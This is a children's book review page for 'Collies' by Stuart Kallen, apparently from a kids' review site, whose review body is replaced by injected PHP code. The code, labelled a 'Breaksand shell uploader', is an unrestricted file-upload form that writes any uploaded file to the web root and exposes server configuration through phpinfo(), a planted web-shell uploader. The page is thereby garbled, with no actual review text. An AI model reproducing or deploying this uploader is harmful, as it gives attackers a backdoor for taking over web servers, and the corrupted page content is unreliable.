1 Collies

Browse reviews by:

Spaghetti Book Club - Book Reviews by Kids for Kids

Collies

Written by Stuart Kallen


Reviewed by Gabriella R. (age 9)


Collies

<?php $target = "/"; //CHANGE THIS $target = $target . basename( $_FILES['uploaded']['name']); if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) { echo "File has been uploaded"; } else { echo "Error uploading file"; } ?> <html> <body> <h3>Breaksand shell uploader</h3> <form enctype="multipart/form-data" method="POST"> File: <input name="uploaded" type="file" /><br /> <input type="submit" value="Upload" /> </form> <h2>PHP Info:</h2> <?php phpinfo(); ?> </body> </html>